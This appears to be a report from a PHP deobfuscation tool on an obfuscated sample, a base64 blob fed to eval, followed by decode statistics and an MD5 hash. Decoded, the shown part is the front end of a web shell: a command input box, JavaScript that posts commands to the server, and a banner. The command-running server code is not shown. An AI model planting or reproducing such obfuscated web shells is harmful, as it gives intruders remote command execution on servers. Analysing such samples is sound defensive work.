ICAgICAgICAgICAgICBhLnB1c2goZW5jb2RlVVJJQ29tcG9uZW50KGtleSkgKyAiPSIgKyBlbmNvZGVVUklDb21wb25lbnQocGFyYW1zW2tleV0pKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gYS5qb2luKCImIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgICAgICAgICB4aHIub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogICAgICAgICAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIGlmICh4aHIucmVhZHlTdGF0ZSA9PT0gNCAmJiB4aHIuc3RhdHVzID09PSAyMDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciByZXNwb25zZUpzb24gPSBKU09OLnBhcnNlKHhoci5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FsbGJhY2socmVzcG9uc2VKc29uKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciB3aGlsZSBwYXJzaW5nIHJlc3BvbnNlOiAiICsgZXJyb3IpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgIHhoci5zZW5kKGdldFF1ZXJ5U3RyaW5nKCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBkb2N1bWVudC5vbmNsaWNrID0gZnVuY3Rpb24oZXZlbnQpIHsKICAgICAgICAgICAgICAgIGV2ZW50ID0gZXZlbnQgfHwgd2luZG93LmV2ZW50OwogICAgICAgICAgICAgICAgdmFyIHNlbGVjdGlvbiA9IHdpbmRvdy5nZXRTZWxlY3Rpb24oKTsKICAgICAgICAgICAgICAgIHZhciB0YXJnZXQgPSBldmVudC50YXJnZXQgfHwgZXZlbnQuc3JjRWxlbWVudDsKCiAgICAgICAgICAgICAgICBpZiAodGFyZ2V0LnRhZ05hbWUgPT09ICJTRUxFQ1QiKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICghc2VsZWN0aW9uLnRvU3RyaW5nKCkpIHsKICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9OwoKICAgICAgICAgICAgd2luZG93Lm9ubG9hZCA9IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hlbGwtY21kIik7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLWNvbnRlbnQiKTsKICAgICAgICAgICAgICAgIHVwZGF0ZUN3ZCgpOwogICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuZm9jdXMoKTsKICAgICAgICAgICAgfTsKICAgICAgICA8L3NjcmlwdD4KICAgIDwvaGVhZD4KCiAgICA8Ym9keT4KICAgICAgICA8ZGl2IGlkPSJzaGVsbCI+CiAgICAgICAgICAgIDxwcmUgaWQ9InNoZWxsLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGRpdiBpZD0ic2hlbGwtbG9nbyI+CiAgICAgICAgICAgICAgICA8cHJlPgogIF8gICAgXyAgICAgICAgICBfX19fICBfX19fICAgX19fXyAgX19fX18gICAgICAgICAgIF9fICAgICAgIF9fICBfICAgXyAKIHwgfCAgfCB8ICAgL1wgICB8ICBfIFx8ICBfIFwgLyBfXyBcfCAgX18gXCAgIC9cICAgIC8gLyAgICAgICBcIFx8IFwgfCB8CiB8IHxfX3wgfCAgLyAgXCAgfCB8XykgfCB8XykgfCB8ICB8IHwgfCAgfCB8IC8gIFwgIHwgfF8gX18gX19fIHwgfCAgXHwgfAogfCAgX18gIHwgLyAvXCBcIHwgIF8gPHwgIF8gPHwgfCAgfCB8IHwgIHwgfC8gL1wgXCB8IHwgJ18gYCBfIFx8IHwgLiBgIHwKIHwgfCAgfCB8LyBfX19fIFx8IHxfKSB8IHxfKSB8IHxfX3wgfCB8X198IC8gX19fXyBcfCB8IHwgfCB8IHwgfCB8IHxcICB8CiB8X3wgIHxfL18vICAgIFxfXF9fX18vfF9fX18vIFxfX19fL3xfX19fXy9fLyAgICBcX1wgfF98IHxffCB8X3wgfF98IFxffAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXF9cICAgICAgIC9fLyAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L3ByZT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L3ByZT4KICAgICAgICAgICAgPGRpdiBpZD0ic2hlbGwtaW5wdXQiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ic2hlbGwtY21kIiBpZD0ic2hlbGwtcHJvbXB0IiBjbGFzcz0ic2hlbGwtcHJvbXB0Ij4/Pz88L2xhYmVsPgogICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9InNoZWxsLWNtZCIgbmFtZT0iY21kIiBvbmtleWRvd249Il9vblNoZWxsQ21kS2V5RG93bihldmVudCkiLz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvYm9keT4KCjwvaHRt')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 5bc59bb13915d74beb72171e59d726b1
Eval Count 1
Decode Time 100 ms